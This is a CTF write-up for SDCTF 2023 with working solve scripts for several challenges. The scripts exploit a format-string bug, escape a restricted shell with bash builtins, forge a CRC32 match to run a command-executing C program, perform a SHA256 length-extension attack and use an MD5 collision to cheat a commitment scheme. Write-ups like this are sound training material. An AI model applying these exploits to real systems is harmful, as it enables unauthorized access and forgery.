I participated SDCTF 2023 as Wani Hackase and took 5th place. Thank you for organizing nice CTF events!

PWN/money-printer

This binary contains a format string bug and the flag is located at stack. I just send %i$08lx to reveal the flag as shown below.

 1from toyotama import *
 2
 3_r = Socket("nc money.sdc.tf 1337")
 4_r.sendlineafter("want?\n", -1000)
 5
 6_r.sendlineafter("audience?\n", " ".join([f"%{i}$08lx" for i in range(10, 16)]))
 7_r.recvuntil("said: ")
 8flag = _r.recvline().decode().split()
 9
10flag = b"".join([bytes.fromhex(x)[::-1] for x in flag])
11flag += b"}"
12print(flag)

sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}

MISC/Form bomb protector

After connecting the server, it spawn a shell but we cannot use most commands since some syscall is prohibited. It accepts bash builtin commands, so I combined some of them to read the flag.

1echo * # =ls
2while read l; do echo $l; done <flag.txt # cat flag.txt

sdctf{ju5T_3xEc_UR_w4y_0ut!}

MISC/Secure Runner

The server receives a C source code and calculate CRC32. If the CRC32 value of received source code is the same as program.c, the server executes a binary compiled from the source code.

I first wrote a code that executes arbitrary commands and then appended random strings to it as a comment to adjust CRC32 value.

 1import string
 2import zlib
 3from random import choice
 4
 5from pwn import *
 6
 7
 8def crc32_rewind(data, crc):
 9    crc ^= 0xFFFFFFFF
10    for c in data[::-1]:
11        for i in range(8):
12            if crc <= 0x7FFFFFFF:
13                crc <<= 1
14            else:
15                crc = ((crc ^ 0xEDB88320) << 1) + 1
16        crc ^= c
17    return crc ^ 0xFFFFFFFF
18
19
20program = b"""
21#include <stdio.h>
22#include <stdlib.h>
23
24int main() {
25    char cmd[100] = "cat flag.txt";
26    system(cmd);
27    return 0;
28}
29// """
30
31with open("program.c", "rb") as f:
32    target = zlib.crc32(f.read())
33alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation[:16]
34alphabet = alphabet.encode()
35program_ = b""
36
37
38for i in range(1000000):
39    program += bytes([choice(alphabet)])
40    c = zlib.crc32(program)
41
42    x = crc32_rewind(p32(c), target)
43
44    if all(0x20 <= v < 0x7F for v in p32(x)):
45        program_ = program + p32(x)
46        break
47
48_r = remote("secure-runner.sdc.tf", 1337)
49_r.send(program_)
50print(_r.recvline())

sdctf{n0w_th4t5_wh4t_i_ca1l_crcecurity!}

MISC/Open Sesame

I just did the very last part of this challenge. One of my teammate found out the value of cave, so I simply calculated the value of the original vector using matrix calculations over $\mathbf{F}_p$ in SageMath.

 1MOD = 131
 2FLAG_LEN = 36
 3# fmt: off
 4DOOR_SHAPE = [94, 68, 98, 110, 45, 81, 6, 76, 119, 53, 16, 19, 122, 91, 51, 44,
 5 13, 35, 2, 124, 83, 101, 75, 122, 75, 124, 37, 8, 127, 0, 22, 130,
 6 11, 42, 114, 19]
 7# fmt: on
 8
 9
10def gencave(flaglen):
11    cave = []
12    ps = []
13    i = 1
14    while len(cave) <= flaglen:
15        i += 1
16        skip = False
17        for p in ps:
18            if i % p == 0:
19                skip = True
20                continue
21        if skip:
22            continue
23        ps.append(i)
24        if not cave:
25            cave.append([])
26        if len(cave[-1]) >= flaglen:
27            cave.append([])
28        cave[-1].append(i % MOD)
29
30    cave = cave[:-1]
31    return cave
32
33
34M = Zmod(MOD)
35A = gencave(FLAG_LEN)
36A = matrix(M, A)
37b = matrix(M, DOOR_SHAPE)
38
39X = A.solve_right(b.transpose())
40X = X.transpose()[0]
41print(bytes(x for x in X))

CRYPTO/Jumbled snake

I determined the offsets based on the assumption that the contents of __doc__ are included in the original file. After that, I performed character-by-charactter substitution while inferring from the partially recovered file.

 1with open("print_flag.py.enc") as f:
 2    doc = f.readline().strip()
 3    s = f.read()
 4
 5for i in range(len(s)):
 6    table = {c2: c1 for c1, c2 in zip(doc, s[i:])}
 7    table |= {
 8        "b": "\n", "J": "=", "^": "(", ".": "#", "=": "!", "`": "Q",
 9        "g": ")", "\n": '"', "]": "'", '"': "D", ",": "N", "1": "R",
10        "F": "G", "5": "Z", "+": "O", "0": "T", "|": "H", "7": "E",
11        ")": "U", "*": "I", "Q": "C", "C": "K", "q": "B", "O": "W",
12        "(": "F", "n": "X", "K": "J", "N": "M", "B": "S", "&": "P",
13        "s": "V", "I": "L", "}": "A", "f": "Y", "4": "/",
14    }
15    table = str.maketrans(table)
16
17    result = s.translate(table)
18    if doc in result:
19        print(result)

CRYPTO/Lake of Pseudo Random Fire

We have to distinguish between random value and pseudo-random value to get the flag. Each value is computed as shown below.

 1def pseudorandom(self, msg):  # pseudorandom function
 2    msg_comp = bytes(x ^ 0xFF for x in msg)  # bitwise complement of msg
 3    cipher = AES.new(self.key, AES.MODE_ECB)
 4    ciphertext = cipher.encrypt(msg) + cipher.decrypt(msg_comp)  # concatenation of cipher.encrypt(msg) and cipher.decrypt(msg_comp)
 5    return ciphertext
 6
 7def random(self, msg):
 8    # random oracle has consistency: if the same plaintext was given to the oracle twice,
 9    # the random oracle will return the same ciphertext on both queries
10    if msg in self.plaintext_ciphertext:
11        return self.plaintext_ciphertext[msg]
12    random_string = urandom(32)
13    self.plaintext_ciphertext[msg] = random_string
14    return random_string

We can send two oracle queries for each round since rooms is 50 and messages_left is 100. I just send arbitrary hex value and send the latter part of returned value. If the returned value is derived from pseudorandom(), the second returned value should be FFFF..FF || ....

The probability that random() returns FFFF..FF || ... is so small that it can be ignored.

1# First query
2→ ENC(0000...00)} || DEC(0000...00^FFFF...FF)
3→ ENC(0000...00) || DEC(FFFF...FF)
4
5# Second query
6→ ENC(DEC(FFFF...FF)) || DEC(DEC(FFFF...FF)^FFFF...FF)
7→ FFFF...FF || DEC(DEC(FFFF...FF)^FFFF...FF)
 1from pwn import *
 2
 3_r = remote("prf.sdc.tf", 1337)
 4
 5
 6def choose(choice: int):
 7    _r.sendlineafter(": ", choice)
 8
 9
10def oracle(msg: bytes) -> int:
11    _r.sendlineafter(": ", 3)
12    _r.sendlineafter(": ", msg.hex())
13    left = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
14    right = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
15
16    _r.sendlineafter(": ", 3)
17    _r.sendlineafter(": ", left[16:].hex())
18    left = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
19    right = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
20    return int(left[:16] == bytes([x ^ 0xFF for x in msg])) + 1
21
22
23for _ in range(50):
24    choice = oracle(bytes(16))
25    choose(choice)
26
27_r.interactive()

CRYPTO/SHA256-CTR

SHA256-CTR is very similar to AES-CTR but the challenge uses SHA256 as block cipher encryption. If we know the SHA256 value after the counter is increased, we can recover the flag just XORing the encrypted flag and the SHA256 value.

It seems impossible to know the SHA256 value in advance However, we can calculate $\text{SHA256}(\text{msg}_1 || \text{msg}_2)$ from $\text{SHA256}(\text{msg}_1)$ and the length of $\text{msg}_1$ even if we don’t know the $\text{msg}_1$ using length extension attack. We can easily get $\text{SHA256}(\text{InitialCounter} || \text{msg})$, where msg can be any value.

Fortunately, we have a feature to increase the counter arbitrarily, so we can adjust the counter value to $\text{SHA256}(\text{InitialCounter} || \text{msg}) - 1$ to get $\text{XOR}(\text{SHA256}(\text{InitialCounter} || \text{msg}), \text{flag})$.

Be careful the padding between InitialCounter and msg.

  1import hashlib
  2import struct
  3import subprocess
  4
  5from toyotama import *
  6
  7
  8# https://github.com/TheAlgorithms/Python/blob/793e564e1d4bd6e00b6e2f80869c5fd1fd2872b3/hashes/sha256.py
  9# Modified `iv` and `plen` to execute length extension attack.
 10class SHA256:
 11    """
 12    Class to contain the entire pipeline for SHA1 Hashing Algorithm
 13
 14    >>> SHA256(b'Python').hash
 15    '18885f27b5af9012df19e496460f9294d5ab76128824c6f993787004f6d9a7db'
 16
 17    >>> SHA256(b'hello world').hash
 18    'b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9'
 19    """
 20
 21    def __init__(self, data: bytes, iv: list[int] | None = None, plen: int = 0) -> None:
 22        self.data = data
 23
 24        # Initialize hash values
 25        self.hashes = iv or [ 0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19 ]
 26
 27        # Initialize round constants
 28        self.round_constants = [ 0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0x0FC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x06CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
 29
 30        self.preprocessed_data = self.preprocessing(self.data, plen)
 31        self.final_hash()
 32
 33    @staticmethod
 34    def preprocessing(data: bytes, plen: int) -> bytes:
 35        padding = b"\x80" + (b"\x00" * (63 - (len(data) + plen + 8) % 64))
 36        big_endian_integer = struct.pack(">Q", ((len(data) + plen) * 8))
 37        return data + padding + big_endian_integer
 38
 39    def final_hash(self) -> None:
 40        # Convert into blocks of 64 bytes
 41        self.blocks = [self.preprocessed_data[x : x + 64] for x in range(0, len(self.preprocessed_data), 64)]
 42
 43        for block in self.blocks:
 44            # Convert the given block into a list of 4 byte integers
 45            words = list(struct.unpack(">16L", block))
 46            # add 48 0-ed integers
 47            words += [0] * 48
 48
 49            a, b, c, d, e, f, g, h = self.hashes
 50
 51            for index in range(0, 64):
 52                if index > 15:
 53                    # modify the zero-ed indexes at the end of the array
 54                    s0 = self.ror(words[index - 15], 7) ^ self.ror(words[index - 15], 18) ^ (words[index - 15] >> 3)
 55                    s1 = self.ror(words[index - 2], 17) ^ self.ror(words[index - 2], 19) ^ (words[index - 2] >> 10)
 56
 57                    words[index] = (words[index - 16] + s0 + words[index - 7] + s1) % 0x100000000
 58
 59                # Compression
 60                s1 = self.ror(e, 6) ^ self.ror(e, 11) ^ self.ror(e, 25)
 61                ch = (e & f) ^ ((~e & (0xFFFFFFFF)) & g)
 62                temp1 = (h + s1 + ch + self.round_constants[index] + words[index]) % 0x100000000
 63                s0 = self.ror(a, 2) ^ self.ror(a, 13) ^ self.ror(a, 22)
 64                maj = (a & b) ^ (a & c) ^ (b & c)
 65                temp2 = (s0 + maj) % 0x100000000
 66
 67                h, g, f, e, d, c, b, a = (
 68                    g,
 69                    f,
 70                    e,
 71                    ((d + temp1) % 0x100000000),
 72                    c,
 73                    b,
 74                    a,
 75                    ((temp1 + temp2) % 0x100000000),
 76                )
 77
 78            mutated_hash_values = [a, b, c, d, e, f, g, h]
 79
 80            # Modify final values
 81            self.hashes = [((element + mutated_hash_values[index]) % 0x100000000) for index, element in enumerate(self.hashes)]
 82
 83        self.hash = "".join([hex(value)[2:].zfill(8) for value in self.hashes])
 84
 85    def ror(self, value: int, rotations: int) -> int:
 86        """
 87        Right rotate a given unsigned number by a certain amount of rotations
 88        """
 89        return 0xFFFFFFFF & (value << (32 - rotations)) | (value >> rotations)
 90
 91
 92def to_bytes(n):
 93    return n.to_bytes((n.bit_length() + 7) // 8, "little")
 94
 95
 96def from_bytes(n):
 97    return int.from_bytes(n, "little")
 98
 99
100def xor(a, b):
101    return bytes(x ^ y for x, y in zip(a, b))
102
103
104def encrypted_flag() -> bytes:
105    _r.sendlineafter("> ", 1)
106    _r.recvline()
107    encrypted_flag = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
108    return encrypted_flag
109
110
111def encrypt(msg: bytes) -> bytes:
112    _r.sendlineafter("> ", 2)
113    _r.sendlineafter(": ", msg.hex())
114    _r.recvline()
115    enc = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
116    return enc
117
118
119def proceed_counter(n: int):
120    _r.sendlineafter("> ", 3)
121    _r.sendlineafter("= ", n)
122
123
124ff = bytes.fromhex("FF" * 32)
125zz = bytes(32)
126flag = b""
127
128# Former
129_r = Socket("nc shactr.sdc.tf 1337")
130
131h1 = xor(encrypt(ff), ff).hex()  # +0
132iv = [int(h1[i : i + 8], 16) for i in range(0, 64, 8)]
133
134padding = b"\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
135proceed_counter(from_bytes(zz + padding + ff) - 1)
136
137h2 = bytes.fromhex(SHA256(ff, iv=iv, plen=0x40).hash)
138
139enc_flag = encrypted_flag()  # +1, +2
140flag += xor(h2, enc_flag[:32])
141
142# Latter
143_r = Socket("nc shactr.sdc.tf 1337")
144
145h1 = xor(encrypt(ff), ff).hex()  # +0
146iv = [int(h1[i : i + 8], 16) for i in range(0, 64, 8)]
147
148
149padding = b"\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
150proceed_counter(from_bytes(zz + padding + ff) - 2)
151
152h2 = bytes.fromhex(SHA256(ff, iv=iv, plen=0x40).hash)
153
154enc_flag = encrypted_flag()  # +1, +2
155flag += xor(h2, enc_flag[32:])
156
157print(flag)

sdctf{l3ngth-ext3nsion-@tt4ck-br3aks-ps3ud0R4nd0mn3ss-of-SHA2}

CRYPTO/Rock paper scissors

It seems that we can cheat at RPS because the server sends us a hand before we decide another one. However, we need to send a commitment before the server sends us a hand. It makes cheating difficult, but still possible NOT to be defeated RPS.

First, I tried to find two sequences whose MD5 hash is same as shown below using hashclash.

$$ \text{MD5}(\text{‘R’} || \text{<random bytes>}) = \text{MD5}(\text{‘P’} || \text{<random bytes>}) $$

Once I found the two byte sequences, I just sent an appropriate hand to get the flag, that is Rock → Paper, Paper → Paper, Scissors → Rock.

 1import base64
 2import hashlib
 3import secrets
 4import sys
 5
 6from pwnlib.tubes import remote
 7
 8HOST = "rps.sdc.tf"
 9PORT = 1337
10
11p_proof = """
125083019b4d550661ab88118afa4d34b37559465697ef6c4a0790ccfe19d7cf6f92039c91aaa5da5692c104e64c08a33c7f34154b000000005457c58a9edb627e840e19ab04b90ef56f73db723431f7f72cfc8f81aec5cb67a60c3270ca0f7482163a9eac3e2be0829e90008fffd7ab27f943952b8bf4d347cc4d4cbedbf56955b2b5eaed85facc257739a2b4bf23f557529dfac52d071cc343ea4de2d8f36c9ca32fe9de0bd4af0c6338b41f4bbb56198a4119dceb6690536c187051e03ebc81d78722346fb30b7d2d63a3d0c87621ab6767331f0b16c92721c387cbc49d02d116d2c63b3639b6924b5fc4a04717513026d8d4fbae04738f0b6f55505875db302eda53fffaa194e8dcce600ec2480ecbf10701ae479afd8051d3013c57941bdd07ce80953b16c4958f1ef6dc5f5b88e1bcda3487e0194ec66bd7e882f920a8adf7d18193596c24f1ce008edffaf45676c0ba9156d3ea356d24a342f259ec777dbdeb8f55ad52289d6aaca9a11835e4ae38a7a59fddc3ae2e1849e782020af0d9b27bfd909916f55cf45ac19eac1edce47f197f0d4b83a85fd8d66fa66ee2743b1901f278ec73e506abb16c630b59af0797a1743c1f55d8592a36fcb9522a63c5fbe45a84c979aa9eaf8da337c9277c9399d18f87bb34233badc31babdb97e4dee255bc85bf454d1c2afcd75fab1275bda127eaff47ffc9a8052f10dd8e51ef37"""
13p_proof = bytes.fromhex(p_proof)
14
15r_proof = """
16523d6284110175d34deb8093de31c1d93045fbbe1e71f00a6375a830aa9817cae3a26b8e3d44a98ff20e6796489725a6fb17281a000000002eb52b07e04e8a1e840e19ab04b90ef56f73db723431f7f72cfc8f81aec5cb67a60c3270ca0f7482163a9eac3e2be0829e90008fffd76b27f943952b8bf4d347cc4d4cbedbf56955b2b5eaed85facc257739a2b4bf23f557529dfac52d071cc343ea4de2d8f36c9ca32fe9de0bd4af0c6338b41fcbbb56198a4119dceb6690536c187051e03ebc81d78722346fb30b7d2d63a3d0c87621ab6767331f0b16c92721c387cbc49d02d116d2c63b3639b6924b5fc4a04797513026d8d4fbae04738f0b6f55505875db302eda53fffaa194e8dcce600ec2480ecbf10701ae479afd8051d3013c57941bdd07ce80953b16c4958f1ef6dc5f5b84e1bcda3487e0194ec66bd7e882f920a8adf7d18193596c24f1ce008edffaf45676c0ba9156d3ea356d24a342f259ec777dbdeb8f55ad52289d6aaca9a11c35e4ae38a7a59fddc3ae2e1849e782020af0d9b27bfd909916f55cf45ac19eac1edce47f197f0d4b83a85fd8d66fa66ee2743b1901f278ec73e506abb16c630b59afc797a1743c1f55d8592a36fcb9522a63c5fbe45a84c979aa9eaf8da337c9277c9399d18f87bb34233badc31babdb97e4dee255bc85bf454d1c2afcd75fab1275b9a127eaff47ffc9a8052f10dd8e51ef37"""
17r_proof = bytes.fromhex(r_proof)
18
19
20def hash(m: bytes):
21    return hashlib.md5(m).digest()
22
23
24commit = hash(p_proof)
25
26r = remote.remote(HOST, PORT)
27
28
29def send(msg: str) -> None:
30    r.sendline(msg.encode())
31
32
33def send_data(msg: bytes) -> None:
34    r.sendline(base64.b64encode(msg))
35
36
37def recv() -> str:
38    return r.recvline(keepends=False).decode()
39
40
41def recv_command() -> "tuple[str, str]":
42    cmd, arg = recv().split(maxsplit=1)
43    if cmd == "==":  # skip proof-of-work if any
44        cmd, arg = recv().split(maxsplit=1)
45    return cmd, arg
46
47
48def error(err: str):
49    print(f"Server error: {err}")
50    sys.exit(1)
51
52
53def process_command():
54    cmd, arg = recv_command()
55    if cmd == "ERROR":
56        error(arg)
57    elif cmd == "MOVE":
58        print(f"Server move: {arg}")
59        return arg
60    elif cmd == "VERDICT":
61        print(f"Server verdict: {arg}")
62        if arg == "Client lost":
63            print("Game over!")
64            sys.exit(0)
65    elif cmd == "FLAG":
66        print(f"You won the flag: {arg}")
67        sys.exit(0)
68    elif cmd == "NEXT":
69        print("Your turn!")
70    else:
71        error(f"Unknown command: {cmd}")
72
73
74process_command()
75
76
77while True:
78    # move = input("Input your move (R/P/S): ")
79    # pad = secrets.token_bytes(16)
80    # proof = move.encode() + pad
81    # commitment = hash(proof)
82    commitment = hash(p_proof)
83    send_data(commitment)
84    hand = process_command()
85    proof = b""
86    if hand == "R":
87        proof = p_proof
88    elif hand == "S":
89        proof = r_proof
90    else:
91        proof = p_proof
92    send_data(proof)
93    process_command()
94    process_command()

sdctf{r0ck-p3P3r-sc1ss0r5-c0llid3!}